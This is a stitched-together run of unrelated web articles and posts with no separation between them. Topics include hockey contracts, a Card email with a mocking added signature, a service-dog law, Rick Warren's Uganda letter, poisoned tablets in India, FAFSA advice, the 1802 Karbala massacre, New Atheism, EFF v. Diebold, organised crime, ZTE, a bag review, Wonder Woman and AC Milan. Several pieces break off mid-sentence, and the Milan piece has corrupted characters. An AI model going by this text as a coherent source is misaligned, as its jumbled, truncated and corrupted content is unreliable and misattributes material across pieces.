The problem that the Flyers face now is that that bargain contract ends in two years. In 2019-20, the first year of his presumable next contract, Simmonds will be a 31-year old, very much not in his prime any more. And the Flyers figure to have a very tough decision in front of them between now and then regarding what to do with the guy who’s become a favorite of basically anyone who follows this team in any capacity.
There’s no need to mince words here: unless his play totally and unexpectedly goes off the rails in the next two seasons (train jokes!), Simmonds is going to get paid. After playing on a below-market deal for most of his 20s, Simmonds will almost certainly look for as much money as he can get, and you’d have to think he can get quite a lot.
Comparable-to-inferior goal-scorers have received big-time paychecks in free agency over the past couple of offseasons. Andrew Ladd, Loui Eriksson, Milan Lucic, T.J. Oshie, David Backes, Kyle Okposo; just within the past two summers, all of those guys have received contracts for at least five years in length worth between $5.5 and $6 million per season against the salary cap. And while most of those players were younger than Simmonds will be (all but Backes were between 28 and 30 when they signed their deals), none of them are as good at scoring goals as he is, either.
A deal like the ones those players have signed is probably a reasonable expectation if you’re trying to mentally project Simmonds’ next contract. If that’s the reality of the situation — if it takes, say, a 6 year, $35 million contract to keep Simmonds around — is that a contract the Flyers are going to be willing to give? Particuarly knowing that they’ll already have two big-dollar contracts for forwards in their early 30s running through at least 2022, a time around which some of these young guys that we all have such high hopes for are going to need big contracts of their own?
Simmonds is a great player and person, and he’s probably one of the most beloved athletes in the city right now. In a perfect world, |
for your interest in EG and for caring that the film be done well. But here is my own source of greatest confidence: The movie will not erase a single word of the book! That's how I endure knowing that Peter Jackson committed the repulsive crime of removing the Scouring of the Shire from the Lord of the Rings movie, which is akin to removing the last chapter from EG. THAT, at least, I know will not happen in the EG movie - all the producers understand that the point of the story is finding out that the very thing that allowed Ender to defeat the formics (loving his enemy in order to defeat them) makes his discovery all the more galling to him.
Best,
osc
Orson Scott Card
Bringing you cheap lies since 1951
Bargain rates for the gullible
Wow. Comment below because I'm speechless.Advocates for service animals in Nova Scotia say a new law that will protect the animals and their handlers is long overdue.
Justice Minister Lena Diab announced Friday she's working on the legislation. She's asking for public input until the end of July.
"We intend to focus in the next few months quite a bit on education of the public, so they understand the significance of it," she said. "Because really the use of a service dog by its user is like an extension, it's like your arm."
The law will start from the basics — it first has to define what a service dog is. Many types of therapeutic animals are currently used, assisting with a variety of disabilities from vision impairment to PTSD.
Diab says people who use the animals were the ones to ask for the law.
"They want people to understand that if they are using a service dog, they're using it because of a need, because of a medical condition."
Raising awareness
Charlie Macdonald has been paired with his guide dog Peaches since December. He's had a number of services dogs over the years, but he still encounters problems when he tries to enter some businesses.
"Most of the time it's people who don't know the law, and for whatever reason want to refuse access," he said. "It's less and less now, but you still run into it, yes."
He's hopeful the law will introduce provincial fines for those who refuse access.
Dog trainer Lisa Partridge is also excited that the province is acting on their concerns. She worked in Alberta, where legislation similar to what's being proposed has been in place for years.
She wants the law to define training standards in particular.
"If we have standards in place, that's going to protect both the business owners, the handlers and the public to make sure the dogs are safe to be out in public."
The hope is that after the consultation this summer, the new law could be introduced in the fall session.In his letter Warren issued yesterday, which condemned a globally notorious draconian anti-gay bill before Uganda's parliament, Rick Warren made a number of statements that are factually incorrect. Warren's letter contained several direct references my videos and to my writing on Warren's doctoral thesis advisor C. Peter Wagner.
The quote below is from Rick Warren's "Letter To The Pastors of Uganda"/"Key Facts Concerning Recent Media and Blog Reports on Rick Warren's Position on Uganda" (http://www.rickwarren.com)
There are nine "facts" in Warren's list. Here's "fact" #9 :
"[question] Are you and Peter Wagner attempting to rid the world of homosexuals? [answer] Absolutely not. Peter Wagner was a seminary professor of mine, but not my doctoral dissertation advisor. I have not had contact with Peter Wagner for many years and am certainly not conspiring with him for any purpose. Additionally, the event chronicled at Angels Stadium in 2005 has been grossly misrepresented. I was simply arguing that Christians could have a tremendous effect for good in the world if they had the same dedication as the followers of Mao. I would never argue that anyone should emulate or espouse the views of Mao, Hitler or Lenin."
In a Thursday story I've addressed at length the lies and distortions in Warren's nine "points" list and it is gratifying to know that such a globally influential man such as Rick Warren pays attention to my work.
Warren's claim, that C. Peter Wagner wasn't his academic advisor for Warren's 1993 doctoral thesis at Fuller Theological Seminary, is not true. My research colleague bought a copy of the thesis. I've read a good deal of the 350+ page tome. C. Peter Wagner is listed, in the dissertation abstract, as Warren's "mentor" for the work. Wagner is the only Fuller Theological Seminary member (Wagner has since left Fuller) mentioned as either an advisor or "mentor" to Warren for the dissertation.Tablets linked to the deaths of more than a dozen women who visited a sterilisation camp in eastern India are likely to have contained a chemical compound commonly used in rat poison, a senior official in Chhattisgarh state said on Saturday.
Advertising
Preliminary tests of the antibiotic ciprocin tablets were found to contain zinc phosphide, Siddhartha Pardeshi, the chief administrator for the Bilaspur district told Reuters.
The antibiotics were handed out at the mass sterilisation held a week ago in the impoverished state. At least 15 women have died, most of whom had attended the camp.
Pardeshi said authorities had tested the tablets after being informed that zinc phosphide was found at the nearby factory of Mahawar Pharmaceuticals, a firm at the centre of investigations into the deaths at a government-run family planning camp.
Advertising
Pardeshi said samples had been sent to laboratories in Delhi and Kolkata to verify that the tablets were contaminated as the preliminary report suggested.
“But, this is what we anticipate,” he said. “Symptoms shown by the patients also conform with zinc phosphide (poisoning).”
More possible victims arrived at hospitals from villages on Thursday and Friday, some clutching medicine strips from Mahawar and complaining of vomiting, dizziness and swelling, a doctor at the district’s main public hospital said on Friday.
The new patients had not attended the sterilisation camps, but had consumed the drugs separately, the doctor and another official said.
The state government said it had seized 200,000 tablets of Ciprocin 500 and over 4 million other tablets manufactured by Mahawar.
Police have arrested Ramesh Mahawar, the firm’s managing director, and his son. Mahawar has said both are innocent.
India is the world’s top steriliser of women, and efforts to rein in population growth have been described as the most draconian after China. Indian birth rates fell in recent decades, but population growth remains among the world’s fastest.
Advertising
Sterilisation is popular because it is cheap and effective, and sidesteps cultural resistance to and problems with distribution of other types of contraception in rural areas.The Free Application for Federal Student Aid is the first step for getting financial aid for higher education. The application for the 2016-2017 school year opens Friday at midnight. Students must fill out a new application every year. Photo by lenetstan/Shutterstock
WASHINGTON, Dec. 31 (UPI) -- Incoming and returning college students seeking financial aid are urged to ring in the New Year filling out the Free Application for Federal Student Aid.
The 2016-17 FAFSA, the crucial component to financial assistance for higher education, will go live after midnight Friday CST. Submitting the application early gives aid providers ample time to review applications and gives students an edge for awards made on a first-come, first-serve basis.
The Department of Education says the FAFSA takes about 30 minutes to fill out and provides a direct link to federal and state grants, loans and work-study programs. The form, which must be filled out annually, includes estimated tax information if the most current information is not available. The amount of aid is calculated by subtracting the cost of attendance for individual schools from the expected family contribution, or EFC.
The Department of Education urges all applicants to have several items handy when tackling the application:
RELATED Bill would stop feds from dipping into Social Security for student loan payments
-- FSA ID: This username and password is used to confirm applicants' identity and serves as a legal signature. It can be created online.
-- Social Security number: Those who are not a U.S. citizen but meet the basic eligibility requirements can use their Alien Registration Number.
-- Driver's license number: Students without a license can skip this step.
-- Tax records: For the 2016-17 FAFSA, applicants must use their 2015 tax records. Those who have not submitted the current year's taxes can use estimates based on 2014 returns. The information must be updated once taxes are submitted.
-- Records of untaxed income: This is based on individual circumstances and may include child support, interest income and veterans non-education benefits.
-- Records of all assets: This includes real estate, checking and savings accounts, and financial investments.
-- List of possible schools: Applicants can list up to 10 schools in the FAFSA. Be sure to include all school choices even if you haven't applied or received an acceptance letter.
This is the last year the FAFSA will open in January. Beginning in 2016, the application will go live in October, giving colleges more time to make financial aid considerations and families a chance to mitigate steep college costs. It comes at a time the United States is grappling with an estimated $1.2 trillion in student loan debt. Of that, about $103 billion is in default.Among the most atrocious acts committed in modern Islamic history has been the sack of Karbala in 1802. Unfortunately, this remains a little known fact to most Muslims. However, at a time when the cultural and religious heritage of the Muslim world is once against under severe threat, when shrines and mosques are bulldozed by the self-styled holy warriors and caliphs of our time, it remains more essential than ever to familiarize ourselves with these historical events. It is crucial to note that the Wahhabis—not unlike modern-day militants—were inspired by a mix of religious zeal and a desire for wealth. By 1802, the Wahhabi-Saudi state had seized control of the vast majority of the Arabian peninsula and even managed to raid into southern Iraq, then under Ottoman control. One of the worst massacres was committed at Karbala in April 1802, right before the beginning of the holy month of Muharram, during the pilgrimage to the shrine of Imam al-Husayn b. Ali (d. 680). The following are two accounts, one by an eyewitness, a non-Muslim Frenchmen, and the other by a Wahhabi propagandist writing in Arabia during the eighteenth century.
According to an eye-witnesses account, J.B. Rousseau in his Description du Pachalik du Baghdad Suivie d’une Notice Historique sur les Wahabis (Paris, 1809), the events that transpired were as follows:
“We have recently seen a horrible example of the Wahhabis’ cruel fanaticism in the terrible fate of the mosque of Imam Husayn. Incredible wealth was known to have accumulated in that town. The Persian shahs have, perhaps, never had something like that in their treasury. For centuries, the mosque of Imam Husayn was known to have received donations of silver, gold, jewels, a great amount of rarities…Tamerlane even spared that place. Everybody knew that the most part of the rich spoils that Nadir Shah had brought back from his Indian campaign had been transferred to the mosques of Imam Husayn and Imam Ali together with his own wealth. Now, the enormous wealth that has accumulated in the former has been exciting the Wahhabis’ avidity for some time. They have been continuously dreaming of looting that town [Karbala] and were so sure of success that their creditors fixed the debt payment to the happy day when their hopes would come true.
That day came at last…12,000 Wahhabis suddenly attacked the mosque of Imam Husayn; after seizing more spoils than they had ever seized after their greatest victories, they put everything to fire and sword…The elderly, women, and children—everybody died by the barbarians’ sword. Besides, it is said that whenever they saw a pregnant woman, they disemboweled her and left the fetus on the mother’s bleeding corpse. Their cruelty could not be satisfied, they did not cease their murders and blood flowed like water. As a result of the bloody catastrophe, more than 4000 people perished. The Wahhabis carried off their plunder on the backs of 4000 camels. After the plunder and murders they destroyed the Imam’s shrine and converted it into a trench of abomination and blood. They inflicted the greatest damage on the minarets and the domes, believing those structures were made of gold bricks.” [Rosseau, Description, pp. 74–75]
Another contemporary source, Uthman b. Abd Allah b. Bishr (d. 1872) in his Unwan al-Majd fi Tarikh Najd (Mecca, 1930), written from the Wahhabi perspective, gives a similar account:
“In the year 1802, Ibn Sa’ud made for Karbala with his victorious army, famous pedigree horses, all the settled people and Bedouin of Najd, the people of Janub, Hijaz, Tihama and others…The Muslims [i.e. the Wahhabis] surrounded Karbala and took it by storm. They killed most of the people in the houses and the markets. They destroyed the dome above al-Husayn’s grave. They took away everything they saw in the shrine and near it, including the coverlet decorated with emeralds, sapphires and pearls which covered the grave. They took away everything they found in the town—possessions, arms, clothes, fabric, gold, silver, and precious books. One cannot even enumerate the spoils! They stayed there for just one morning and left after midday, taking away all the possessions. Nearly 2000 people were killed in Karbala.” (Ibn Bishr, Unwan al-Majd, Vol. 1, pp. 121–122)
Many of these details are corroborated by other contemporary sources, both Muslim and non-Muslim, which also emphasize how thousands of Muslims were slaughtered by the Wahhabis in Karbala. Most significantly, the sack of Karbala demonstrates the way in which the two motives of the Wahhabis—accumulation of wealth and destroying shrines—went hand in hand. The process of Wahhabi conquest elsewhere, notably in Ta’if and the Hijaz, had followed a similar pattern to Karbala. Although the Wahhabis were defeated shortly thereafter (around 1818) by the Ottomans and Muhammad Ali Pasha’s dynasty in Egypt, they experienced a resurgence later in the century.If you’ve been following the rise of so-called “New Atheism” movement, you may have noticed that it sure looks a lot like old religion. The individuals most commonly associated with contemporary atheism—Richard Dawkins, Christopher Hitchens, Daniel Dennett and Victor Stenger—are all male, white and, well, kinda old (69, 61, 68 and 75). Sam Harris, another popular figure who bears mention, has the distinction of being in his early 40s.
There’s no official definition of New Atheism, but the general consensus is that while atheists were once content to not believe in God by themselves, “new” atheists are determined to proselytize so that others join their disbelief. They can’t abide by tolerance of religion, because religion is so insidious a force as to warrant constant criticism. Though they dare not hope for eradication of religion outright, they have expressed the wish that a belief in God become “too embarrassing” for most people to admit.
Given the immense harm many organized religions inflict on women through outright violence and institutional oppression, it seems women may have more to gain than men from exiting their faith. Yet no women are currently recognized as leaders or even mentioned as a force within the movement. The lack of lady presence is so visible that Conservapedia commented on it by noting that Dawkins’ website overwhelmingly attracts male visitors.
One study-supported theory is that there simply aren’t as many female atheists as there are male, while another is that new atheism is “off-putting” to women. Earlier this year, journalist Sarah McKenzie suggested that women aren’t socialized to defend their beliefs with the same vigorous and “militant” zeal expected of atheists, and proposed that the movement make space for traditionally feminine characteristics like “story-telling [and] empathy.”
McKenzie’s article garned much less backlash than a similar piece by Stephen Prothero, who irritated female unbelievers with his call to promote the “friendly” and “gentler” voices of faith-abstaining women. Atheist Ophelia Benson criticized Prothero’s assertion that women are “more apt to tell stories[…] than to argue” as being dangerously close to relegating women to “weakness and passivity.” In the Washington Post, Susan Jacoby tackled a few myths about atheism while expressing unhappiness with “Prothero’s view [that the movement consists] mainly of Angry White Men.” But the predominance of white male voices is one point Jacoby couldn’t and didn’t refute.
A quick search for female atheists will pull up such depressing fare as “Dating Atheist Single Women” and “Top 10 Sexiest Female Atheists.” (There is also a list for atheist males.) Unfortunately, such an overtly sexist mentality is in abundance; the loudest complaints about the absence of atheist women seems to come from atheist males who want non-believing girlfriends. In one unintentionally hilarious and cringe-inducing post, a blogger’s musings on the small pool of atheist women devolve into racy pictures of actresses with helpful points like “I happen to like petite girls, but a lot of guys are into more curves,” and “I don’t know who this girl is, but she’s redheaded and hot” alongside a picture of a paid model clad in a “Thank God I’m an Atheist” t-shirt.
Progressive bloggers have pointed out that prejudice is a major problem within the movement, but few mainstream articles have gone as far to suggest that sexism, let alone racism, among atheist males might be a factor in keeping women away. One rarely addressed aspect online and in print is the preponderance of scientists, particularly evolutionary biologists, whose rhetoric can occasionally become reductionist and cliched. (Daniel Dennett, one of the aforementioned movement luminaries, implied that women’s “biology” is the reason for their exclusion from church hierarchies, as opposed to the churches’ stigmatization of that biology.)
Christopher Hitchens, the only non-scientist of the high profile bunch, is notorious for inviting accusations of misogyny and racism by alleging that women are fundamentally unfunny and referring to Wanda Sykes as “the black dyke.” American Atheists, an organization founded by a woman, appears to have entered an era of leadership primarily provided by white males. They also overwhelmingly favor white men for their magazine covers and everyone with a picture on the website, male or female, is white.
Of course, atheist women do exist, as do atheists of color, and at least one (Ayaan Hirsi Ali) has written a best-selling book. Yet since the long-gone days of Madalyn Murray O’Hare (once the best-known U.S. atheist), none have the visibility and name-recognition of Hitchens and Dawkins. Sadly, there’s little indication that atheists are receptive to the suggestion that they might benefit from diversifying in color or gender. But unless they commit to fostering true inclusivity, they may continue to invite “deconverts” with one hand while pushing many away with another.
Photo from Flickr user gruntzooki under Creative Commons 2.0.EFF helped protect online speakers by bringing the first successful suit against abusive copyright claims under the Digital Millennium Copyright Act (DMCA). This landmark case set a precedent that allows other Internet users and their ISPs to fight back against improper copyright threats.
In OPG v. Diebold a California district court has determined that Diebold Inc. a manufacturer of electronic voting machines knowingly misrepresented that online commentators including IndyMedia and two Swarthmore college students had infringed the company's copyrights. EFF and the Center for Internet and Society Cyberlaw Clinic at Stanford Law School sued on behalf of nonprofit Internet Service Provider (ISP) Online Policy Group (OPG) and the two students to prevent Diebold's abusive copyright claims from silencing public debate about voting.
Diebold sent dozens of cease-and-desist letters to ISPs hosting leaked internal documents revealing flaws in Diebold's e-voting machines. The company claimed copyright violations and used the DMCA to demand that the documents be taken down. One ISP OPG refused to remove them in the name of free speech and thus became the first ISP to test whether it would be held liable for the actions of its users in such a situation.
In his decision Judge Jeremy Fogel wrote "No reasonable copyright holder could have believed that the portions of the email archive discussing possible technical problems with Diebold's voting machines were protected by copyright." In turn, Diebold had violated section 512(f) of the DMCA which makes it unlawful to use DMCA takedown threats when the copyright holder knows that infringement has not actually occurred.
Outcome: In addition to creating the first caselaw applying 512(f) of the DMCA to remedy abusive copyright claims under the DMCA Diebold subsequently agreed to pay $125 000 in damages and fees.I replied, "Sir, the gathering of knowledge is a lifelong journey. I would be delighted to be of service." Which is how this reporter ended up at the postcard hamlet of Lillehammer (home of the 1994 Winter Olympics) with 900 scribes from 120 countries for the 2015 Global Investigative Journalism Conference. We arrived at the impressive hotel and queued behind various Pulitzer Prize-winning types until it was our turn to check in. There was no record that I existed. Why was this not surprising? I responded with the time honoured, "Vet du hvem jeg er?" (Do you know who I am?) The Nordic lass got the message and handing me a key marked, "Bbottekott", which I wrongly assumed meant VIP (It actually was broom closet – the mop gave it away.)
Undeterred we headed to the common room to meet international ace reporters to share cool drinks and war stories. I met one brave reporter who wore a frown, blue jeans and carried a backpack. This was one serious dude. I lightened the mood by telling a wonderful anecdote about Chopper Read, a greyhound. a stick of gelignite and some lipstick, which finished with the punchline "Og da han skjot ham i guts" (And then he shot him in the guts). He muttered through broken teeth in broken English, "Please, no more." I believe he was suffering a flashback to some crisis in the Balkans as his eyes welled up with tears and he left the room. Next I spotted some fellow from Denmark (there is, after all, nothing like a Dane) and decided to raise a subject of mutual interest. I asked him his opinion on Hawthorn's Ryan Schoenmakers' defensive forward pressure in the grand final.
He looked confused. I used the ancient art of mime to bridge the language gap, handballing meatballs from the excellent smorgasbord in his direction. His face cracked into a wide grin of recognition and responded, "Mye bedre – gode hender" (Much improved – good hands). He then offered me some deer jerky. But this conference was more than chitchat, fondue dinners and pillow fights with Swedish interns. There was work to be done. And so let's reverse the usual order and start with a conclusion and work our way backwards. 1) In many countries around the world organised crime has become so entrenched its powers and range of influence rivals national governments.
2) In Australia we have become so obsessed with the real and perceived threats from terrorism that we are neglecting the dangers of syndicated crime. 3) Despite, or more accurately, because of,apathy, international crime cartels impact on the quality of life in Australia. 4) You and your family are more likely to be victims of crime than terrorism. 5) Global syndicates are just that and unless we look at global solutions we are doomed to fail. Just look at the known facts.
We have Canadian Vietnamese investing in Melbourne hydroponic marijuana houses, Vietnamese crime bosses hiring problem gamblers to smuggle heroin into Australia, Chinese ice and synthetic drug manufacturers targeting our markets and South American cocaine cartels seeking premium prices Down Under. Young Middle Eastern crooks are recruited to steal German cars from Melbourne streets to be sent to Dubai. Meanwhile, Lebanese crooks with IQs that rival the calibre of their illegal guns are shooting houses, enemies and innocents, apparently impervious to police pressure. And the international dark web, where you can buy illegal products to be delivered in days, has made many law enforcement methods obsolete. One China expert at the conference said a much-needed crackdown on corruption in Beijing has impacted on property prices in Australia with the middle class and the rich desperate to move black money out of the country.
Billions of corrupt dollars, he says, have been ploughed into Canadian and Australian housing, effectively pricing many locals out of the market. Italian Mafia syndicates, (including one with strong links to Australia) have infiltrated the European waste industry and have illegally dumped more than 10 million tonnes of toxic and nuclear waste, poisoning local water sources, causing massive rises in cancer rates and destroying fishing grounds as far away as Africa. And many of the Mafia syndicates have teamed with corrupt African officials to "invest" in diamond mines, nightclubs and huge tracts of land. They run huge money laundering and drug syndicates in several North African countries with virtually no chance of being prosecuted. The Italian Mafia bosses are sending their brightest children to universities such as Oxford and Cambridge to receive the best financial training to return as international money launderers.
It is virtually impossible to do business in many countries without offering large bribes. One businessman who wanted to set up duty free shops in one African nation was told an exchange of gifts with the president was appropriate. He brought a suitcase containing $500,000 cash. The suitcase was emptied and returned with the President's gift. It was filled with ears of corn. To the Pres that was a fair exchange. What we know is no matter how foul the business, where there is money there will be those who will dive in. Nigerian women are forced to walk up to 100 kilometres before being sent to Italy as sex slaves, returning crippled with sexually related diseases. When Premium Times journalist Tobore Ovuorie sees one of her school friends die of Aids after working as a prostitute she decides to infiltrate a human trafficking syndicate.
Masquerading as a street prostitute she is recruited for the Europe route and trained as a pickpocket to steal from her clients. Befriended by one madam who says she reminds her of her kid sister she is left in a room with three other recruits who are seen as "trouble". "As we 'unlucky' four are standing aside, Mama C talks with five well-dressed, classy, influential-looking visitors. "The issue is a 'package' that Mama C has promised them and that she hasn't been able to deliver. The woman points at me, but Mama C refuses and for unexplained reasons Adesuwa and Omai are selected. "We all witness, screaming and trying to hide in corners, as they are grabbed and beheaded with machetes in front of us. The 'package' that the visitors have come for turns out to be a collection of body parts."
The slave business is a massive $60 billion industry, with an estimated 21 million victims, and $40 billion in lost wages. In one of the richest countries in the world, Abu Dhabi, thousands of migrant workers are kept in squalor, working on massive building sites, unable to leave until they have paid wildly inflated recruiting fees to corrupt middlemen. And when we sit down to the next soccer World Cup corruptly gifted to Qatar, we should remember that slaves built those ridiculous stadiums, with an estimated 4000 expected to die before the kick off in 2022. Thousands of kids have been abducted or sold to work as camel jockeys in the UAE, with many suffering horrendous injuries or death for the amusement of rich owners (in a trade that has been largely outlawed). In Mexico some of the crime cartels are beyond policing. Award-winning journalist Marcela Turati says the syndicates have informers in newsrooms who are paid to tip them off on any investigative stories.
She says, "the guy in the taco truck" or staff at the railway station will contact the syndicates the moment a journalist arrives in town to investigative organised crime. Asked how she protects herself she just shrugs, smiles and says, "You can't." The death toll of South American reporters shows she is right. One Russian reporter says six of his colleagues have been murdered. "If they want to kill you they will." And in the Balkans, gangsters own an estimated 40 per cent of the media. In many countries corruption is just part of the system. If you are a police officer or a low-grade government worker in an impoverished nation bribes are needed to survive. You do it to provide for your family. It is just part of life because an empty belly has no conscience. But here there is no such excuse. It is not a matter of survival just plain greed.
Cecil Rhodes once said, "To be born an Englishman is to win first prize in God's lottery." Today it could be said to live in Australia is to have won Tattslotto. So let's not stuff it up.ZTE has defended itself against claims that its hardware is a security risk and has suggested that if Congress is that concerned, it should recommend not buying any Chinese-manufactured equipment, which would include tech sold by Western companies who have outsourced their manufacturing.
On Monday the US House of Representatives Intelligence Committee issued a report recommending that ZTE and Huawei should be banned from selling in the US over fears that they will enable attacks against the US and that their businesses are unfairly subsidized. Huawei immediately declared the committee was biased from the start, and now ZTE has stuck its oar in.
ZTE issued a strongly worded denial of the charges against it, saying the committee broke its own rules of evidence. It then doubled down by pointing out the uncomfortable truth that most networking equipment is manufactured in China anyway, including that sold by most major US vendors under their own branding.
"Particularly given the severity of the Committee’s recommendations, ZTE recommends that the Committee’s investigation be extended to include every company making equipment in China, including the Western vendors. That is the only way to truly protect US equipment and US national security," said David Dai Shu, ZTE’s director of global public affairs, in a statement.
The committee's finding that ZTE wasn't "free from state influence," could be applied to any Chinese company, he said, arguing that at no point in the report had Congress challenged the company's fitness to sell in America ethical or legal grounds. It had complied fully with Congress and wasn't holding anything back, he asserted.
ZTE is "China’s most transparent, independent, globally focused, publicly traded telecom company," he said, adding that the company advocates a trusted delivery system whereby equipment is inspected for security issues by a third-party laboratory under US government oversight. This system already works for over 500 network carriers in 140 countries, he pointed out.
Just after the US House of Representatives delivered its report, Cisco cut all sales contracts with ZTE, reportedly after an internal investigation showed it was likely that the Chinese vendor had resold Cisco's hardware to Iran in defiance of international sanctions. The FBI is currently conducting a criminal investigation into the case.
But in a bit of good news for the company (for a change), Reuters reports that the EU has put a hold on its own investigation into Huawei and ZTE's business practices. EU trade commissioner Karel De Gucht has been investigating reports that the two Chinese suppliers are dumping low-cost kit onto European markets.
According to EU officials, the Chinese government is sponsoring the practice with generous credit lines in an attempt to distort competition. One source told Reuters that one Chinese supplier had offered to replace all of a European telecommunications carrier's network for free in an attempt to gain market share.
The only problem is no one has actually complained about these allegations. World leader Ericsson has said it does not want any such investigation, and the third and fourth largest suppliers – Nokia Siemens Networks and Alcatel-Lucent – don’t look keen to complain to regulators, either. Without a complaint, launching an investigation would break EU protocol.
EU diplomats told the news service that the investigation will most likely be put on hold until at least the middle of next year, at the earliest. ®I own bags, but this is among the best bags I have ever bought from Online Store. I like it due to its long life. As per now I possess many different sizes of this type of a bag. They range from small to medium so don’t be worried about the size you can get yours. There are of two sizes there is the medium and the small so it’s your choice to get that type that will fit your needs. The medium Timbuk2 Classic Messenger Bag resembles that size of a standard messenger bag for cyclist bag.
It can be able to accommodate a very big laptop, its charger, books, even a water bottle to. But if you want to have the one which can carry many items lets say during shopping then you need extra large. It can hold as many items without limited mobility.
See Product Details: Timbuk2 Classic Messenger Bag (2014)
The older bags were made of ballistic nylon but currently they are made of Cordura, which makes lighter and looks much better than the older one. It is very strong and can serve you for a long time. I have used mine and it’s almost a year now but it is still in good condition. It has fewer pockets, but they are big. In the front side, there is only one pocket and it accommodates my jacket so there is no need of opening the main pocket.
I feel safe carrying my laptop since the presence of a pad can protect it if it happens that the bag has fallen down accidentally. The straps are thin but very strong; they are adjustable to fit your size making you comfortable. The shoulder pads are fixed you cannot be able to remove unlike the older version from the strap. It is limited to one color so it is impossible to change the color as other people are used to.
It fits very well on the back due to it friction minimizing its movement while walking. With even heavier materials, it sits much better at the back without making any shift. The cost of the bag is pocket-friendly and in comparison with its quality you will not feel any pinch spending $110 for a larger bag and $100 for a small Timbuk2 Classic Messenger Bag. Size, you can buy, is the small or the medium since they have a wider range of functions that the extra large.
There is something I don’t like about this bag as compared to the 2013 Timbuk2 Classic Messenger Bag. A 2013 bag had many pockets which made it good to hold each item, its own pocket, but the current one (2014) has only slash pocket having one zipper. The three front pockets for the older bay were more intuitive with better organization. In spite of that few changes that I don’t like I can use it and I like it so much that I cannot leave it down.Wonder pits… should they be hairy or not? – Credit: DC/Warner Bros
It perhaps wasn’t the first matter of note in the most recent trailer for DC’s newest take on ‘Wonder Woman’, but since its release last week, it’s certainly opened up a lively debate.
Armpit hair: should Wonder Woman have it or not?
Some websites have noted that Gal Gadot is entirely free from any kind of growth in the underarm area, and have suggested that as a woman dwelling in the deepest Amazon in a seemingly exclusively female community, perhaps depilation would not be top priority.
Check it out for yourself, around the one-minute, 50-seconds mark…
Writes Shannon Carlin on Refinery29: “It’s really hard to believe that Wonder Woman, who has been on an island filled with strong women her entire life is worried about waxing and then bleaching her pits to make sure there isn’t a hair left on those babies.
“That is a time-consuming process and she’s a little too busy training ’10 times harder’ with the Amazons so that she can, you know, save the world. It really all comes down to priorities and I’d like to think shaving is pretty low on the list, even if it’s high on the studio’s.
“With Wonder Woman standing in as an example of female strength, it would have been exciting to see her with a little hair under her arms. To prove that women — even those who are superheroes — don’t have to cater to beauty standards that are meant to make them more attractive to men.”
Amanda Goecke on HerCampus agrees wholeheartedly, going on to suggest that ‘it’s painfully clear that Gal Gadot’s armpits were digitally tampered with, evident by their awkward smoothness and discoloration’.
“Whether a woman has armpit hair/stubble or not is her choice – both options are perfectly fine and dandy,” she continues.
“But what isn’t cool is the fact that the minds behind Wonder Woman felt the need to erase the hairs all together and pretend that badass women like Wonder Woman walk around with flawless armpits.”
Slate also suggests Gadot’s pits were ‘digitally bleached’.
“It seems like an enormous waste of effort to recolor the underarms of Wonder Woman herself for a split-second scene, especially when the obvious editing is much more conspicuous than the unaltered lady pits alone could ever be,” writes Marissa Martinelli.
The internet – specifically, as you might expect, Twitter – also has some remarks on the matter.
Just speaking aesthetically, the new Wonder Woman trailer had me wishing she had armpit hair. — mattson tomlin (@mattsontomlin) March 12, 2017
wonder woman would prolly have armpit hair imo — no homo (@GanjaGhost420) March 12, 2017
controversial hot take:
i wish #WonderWoman had visible armpit hair. she was raised on an island of women w/no schick advertisements! — Paul Roth in LA???? (@paulidin) March 12, 2017
Just doing some pod-related Twitter searching, and until this point I hadn't realised how badly I wanted Wonder Woman to |
stopped Milan in Europe. It was a good season but it ended on a frustrating note on all fronts.
Milan Labs – not the best anymore?
Enter season three and all hell broke loose. Milan suffered their worst start in over 70 years as they played hide-and-seek with the relegation zone. From champions to second place to almost relegation-zone candidates, how did Milan regress so fast? Part of the blame has to be accorded to Milan Labs, which has seen a record number of injuries in the past two seasons. Usually regarded worldwide as one of the best medical facilities, Milanello has fallen from grace for quite sometime. The institution which prolonged the careers of numerous Milan players like Seedorf and Maldini now sees a record number of injuries day in and day out.
But those injuries also had bad managerial decisions to blame too. For instance, if Thiago Silva wasnai??i??t risked against Roma, the title race last year wouldai??i??ve been much more interesting. In the past two seasons, Milan has seen numerous occasions where a key player was unable to play a match due to injury. Case in point ai??i?? Pato. After scoring the wonder goal against Barcelona, he was sidelined for a long time and even after returning from injury is a shadow of the player he once was. Even though players are bound to get injured due to the frequent matches, Milan Labs shouldai??i??ve performed much better.
The need for a talisman
A lot has been spoken and written about the mass exodus of experienced as well as bright talents from Milan last summer. But the matter of the fact is that it was bound to happen at some time or another. While the mass exodus of experienced hands cannot be helped, Milan were crippled by the dual transfer to PSG. Faced with a young and inexperienced squad, Allegri had to make the most of the situation. Yes, Milan are a side in transition, and for quite some time, it will be a side in transition, but all what is asked from the fans is patience. Arsenal has been a side in ai???transitionai??? for the better part of the last decade and yet fans do not get this impatient when dealing with the coach.
This raises the imminent question ai??i?? do players make a coach or does a coach make the players? Allegri is a tactician no doubt and the way he kept the dressing room calm even when having some of the most explosive components around is laudable. Allegri is not known as a hard taskmaster and that might be the cause for the recent troubles at Milan. Milan has been trophy-less on numerous occasions, but at least during those times, they had a squad which fought till the last drop of blood. Carlo Ancelotti, Milanai??i??s most successful coach of recent times won the league only once during his entire tenure. But he had a squad which believed in themselves, which made themselves one of the best in the world during the last years of his reign.
Sadly, Allegriai??i??s Milan is missing a talisman. Be it in defence, midfield or the attack line, there is not a single player in Milan right now who can be regarded as a talisman. Sure, El Shaarawy has been hogging the limelight for quite some time for his amazing performances, but he is too young to carry that mantle. Milan needs someone experienced enough, someone who can gravitate the team towards him, someone who can look into their eyes and abuse them for a bad pass or a miss or a goal or a fluffed penalty. Gattuso has left, so there is no one who can be physically abusive; Maldini has retired, so there is no one who can be a true leader; Pirlo was sold, so there is no one who can dominate on the field. The oldest campaigner for Milan presently, Ambrosini is the present captain but he lacks the dominating presence on the field to galvanize the team in time of a crisis.
Not to take anything away from Ambrosini, he lacks the necessary leadership skills to direct the present team. Calls for sacking of Allegri have been going on since the first loss this season but he should be given more time to make something out of this team. This present Milan team is not a total lost case as has been portrayed by many, but what is required presently is patience ai??i?? lots and lots of it. Milan will not become another Arsenal, that is for sure, but for Milan to progress, they need to believe now more than ever. Allegri has been abused many times in the recent past, but a Scudetto-winning coach does not become pedestrian overnight.
Milan needs a hero now and maybe, just maybe, Allegri can take up that mantle.
